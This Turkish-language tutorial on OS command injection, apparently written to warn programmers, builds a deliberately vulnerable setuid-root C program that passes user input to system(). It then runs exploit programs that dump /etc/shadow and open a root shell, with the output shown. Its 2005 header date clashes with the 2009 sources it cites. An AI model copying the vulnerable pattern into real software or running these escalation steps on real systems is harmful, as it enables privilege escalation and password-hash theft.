---[ OS Command Injection Vulnerabilities [23/03/2005]
---[ murderkey <murderkey[n0_sp4m]gmail[zot]com
---[ Hellcode Research Lab | The Computer Cheats
---[ http://tcc.hellcode.net | hellcode.net
Geçtiðimiz günlerde, Amerikan Ulusal Güvenlik Teþkilatý (NSA) çeþitli güvenlik firmalarýyla
ortaklaþa yaptýðý bir araþtýrmanýn istatistiksel sonuçlarýný duyurdu. Araþtýrmada programcýlardan
kaynaklanan en tehlikeli 25 hata yer aldý. "Ýþletim Sistemleri Komut Enjeksiyonu" zayýflýðý bu
listenin 5. sýrasýnda ve risk seviyesi yüksek olarak iþaretlenmiþ. Bu yazýda, söz konusu zayýflýðýn
nasýl oluþtuðu ve engellenmesi için neler yapýlmasý gerektiði anlatýlacaktýr.
Nedir ve Nasýl Çalýþýr ?
Zaman zaman yazýlýmlarda, çeþitli fonksiyonlarý yerine getirmek için harici bir yazýlým (komut/modül)
çaðýrmak gerekebiliyor.Örnek olarak Linux, Solaris, BSD, Plan9 gibi sistemler üzerinde ki watch, time
vb. komutlar verilebilir.Söz konusu hatanýn kurbaný olmak, hemen her programlama dilinde (JAVA,Assembly,
C/C++ vb...) ve hemen her iþletim sisteminde mümkün ve bu zayýflýk sayesinde lokal bir kullanýcý,
yetkisini en üst düzeye yükseltebilir veya komutlar çalýþtýrabilir.
Öncelikle senaryo þu olsun, yazdýðýnýz bir yazýlým "root" yetkisiyle sisteme kurulmuþ, ve yazdýðýnýz
yazýlýmýn çeþitli fonksiyonlarý yerine getiren alt yazýlýmlarý/moduler var ana programýnýzda Linux'ta
hazýr bulunan ve belirtilen yazýlýmýn iþlem hýzýný gösteren "time" komutunu kullanarak ana programýnýzdan
alt programlarýn iþlem hýzýný göstermek istiyorsunuz.Aþaðýda ki, söz konusu zayýflýðý barýndýran kodu
bunu yapan kod parçasý olarak düþünün.
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
char komut[256];
if(argc<2)
{
printf("Hata: islem hizini ogrenmek istediginiz programi girin!\n");
}
memset(&komut,0,sizeof(komut));
strcat(komut, "time ./");
strcat(komut,argv[1]);
system(komut);
return 0;
}
Hatayý barýndýran kodumuzu derliyoruz ve programýmýzýn haklarýný deðiþtiriyoruz, senaryomuza göre,
varsayalým ki programýmýz "root" haklarýyla yani en üst düzey kullanýcý haklarýyla çalýþýyor.
murderkey@labs:~$ cc vuln.c -o vuln
root@lab:~# chown root.root vuln
root@lab:~# chmod +s vuln
root@lab:~# exit
murderkey@labs:~$
Yukarda ne yaptýk? Öncelikle programýmýzý derledik hemen ardýndan kullanýcý sahibini deðiþtirdik ve onun
ardýndan da "+s" parametresi ile program calýþtýðý sürece calýþanýn o haklara sahip olmasýný saðladýk. Devam
edelim ve programýmýzý çalýþtýralým, bakalým istediðimiz gerçekleþiyor mu? Ondan önce, ben ekrana basitçe
"Merhaba Dünya" mesajini basan bir kod yazdým ve derledim amacim bu programýn iþlem hýzýný ögrenmek.
murderkey@lab:~$ ./vuln helloworld
Merhaba dunya
real 0m0.002s
user 0m0.000s
sys 0m0.000s
murderkey@lab:~$
Bir programcý klasiði olan merhaba dünya adlý ufak bir yazýlým yazdýk ve vuln adlý yazýlýmýmýzý hatýrlýyorsanýz
parametre olarak girilen yazýlýmlarýn çalýþma hýzýný gösteriyordu, bizde parametre olarak Merhaba Dünya yazan
programýmýzýn çalýþma hýzýný öðrenmek istedik.Buraya kadar yazýlýmýmýz sorunsuz çalýþtý görünürde hiçbirþey yok.
Kodumuz bu haliyle gayet masum görünüyor fakat programa verilen girdilerde daha farklý davranan bir kullanýcý,
programýnda farklý davranmasýna sebep olacaktýr.
Biz burada helloworld adlý kod yerine baþka birþey calýþtýrsak ne olurdu? Örneðin, cat /etc/shadow adlý komutu
çalýþtýran veya bize yeni bir shell (kabuk) açan ufak bir kod yazsak ne olur ? Görmek için devam edelim ve C dilinde
belirtilen komutlarý iþleyen bir kod yazalým.
main(void)
{
system("cat /etc/shadow");
return 0;
}
murderkey@lab:~$ cc exp1.c -o exp1
murderkey@lab:~$ ./vuln exp1
...
sync:*:14062:0:99999:7:::
games:*:14062:0:99999:7:::
man:*:14062:0:99999:7:::
lp:*:14062:0:99999:7:::
mail:*:14062:0:99999:7:::
news:*:14062:0:99999:7:::
uucp:*:14062:0:99999:7:::
...
real 0m0.003s
user 0m0.000s
sys 0m0.000s
murderkey@lab:~$
Aklýmýza gelen fikir kusursuz iþe yaradý. Normal þartlar altýnda sistemde ki kullanýcýlarýn (user) kullandýðý
þifreleri ancak "root" yetkisine sahipseniz görebilirsiniz (istisnalar hariç tabii) ama hatýrlayýn zayýflýða
sahip programýmýz üzerinden bir kod çalýþtýrdýk ve zayýflýða sahip yazýlým root yetkileriyle çalýþýyor bundan
dolayý normal kullanýcý yetkilerine sahip bir kodu root yetkisiyle çalýþtýrmayý baþardýk.
Þimdi biraz daha ileri gidelim ve root yetkilerine sahip bir shell açmaya çalýþarak sistemde ki eriþim seviyemizi
en üst düzeye çekmeye çalýþalým, ayný þekilde "cat /etc/shadow" komutunu çalýþtýran kodumuzun tek satýrýný
deðiþtirerek derliyoruz.
main(void)
{
system("/bin/sh");
return 0;
}
murderkey@lab:~$ cc exp2.c -o exp2
murderkey@lab:~$ ./vuln exp2
real 0m0.002
user 0m0.000
sys 0m0.000
root@lab:~# id
uid=0(root) gid=0(root) groups=0(root)
Sonuç:
Görüldüðü gibi tek satýrý deðiþtirerek programýmýzdaki zayýflýk sayesinde sistemde en üst düzey kullanýcý yetkisi
yani "root" yetkisine ulaþtýk.Sanýrým NSA yaptýðý araþtýrmada sistemlere zarar veren en tehlikeli 25 açýk arasýnda
5. sýraya yazýmýzýn konusu olan Komut Enjeksiyonu hatasýný koymakla hata yapmamýþ.Çok basit ve gözden kaçmasý kolay
olan fakat risk seviyesi oldukça yüksek bir hata, çeþitli filtrelemelerle veya kullanýcý haklarýnýn iyi ayarlanmasý
(gerekli fonksiyolar kullanilarak) söz konusu sorun basitçe aþýlabilir.Benim amacým, bu yazýda durumun ciddiyetini
programcýlara göstermek fakat talebe baðlý olarak çeþitli yazýlým açýklarýnýn (Buffer Overflow, Format String vs) nasýl
engellenebileceðine dair ufak bir yazý yazýlabilir. Umarým bu yazý konunun ciddiyeti hakkýnda kafanýzda bir þeylerin
oluþmasýna yardýmcý olmuþtur.Yazýda herhangi bir hata veya atladýðým nokta olduðunu düþünüyorsanýz iletiþime geçerek
yardýmcý olabilirsiniz ve tabii bunun için üzgünüm.
Referans:
[1] CWE/SANS TOP 25 Most Dangerous Programming Errors http://www.sans.org/top25errors
[2] Phrack #59: Runtime Process infection http://www.phrack.org/issues.html?issue=59&id=8#article
[3] Least Privilege http://www.hellcode.net/ppe.txt
[4] FreeBSD Telnet Daemon Zero-Day (Yazýnýn yazýlmasýndan bir gün sonra) http://blog.lifeoverip.net/2009/02/15/freebsd-telnet-daemon-zero-day-acikligi/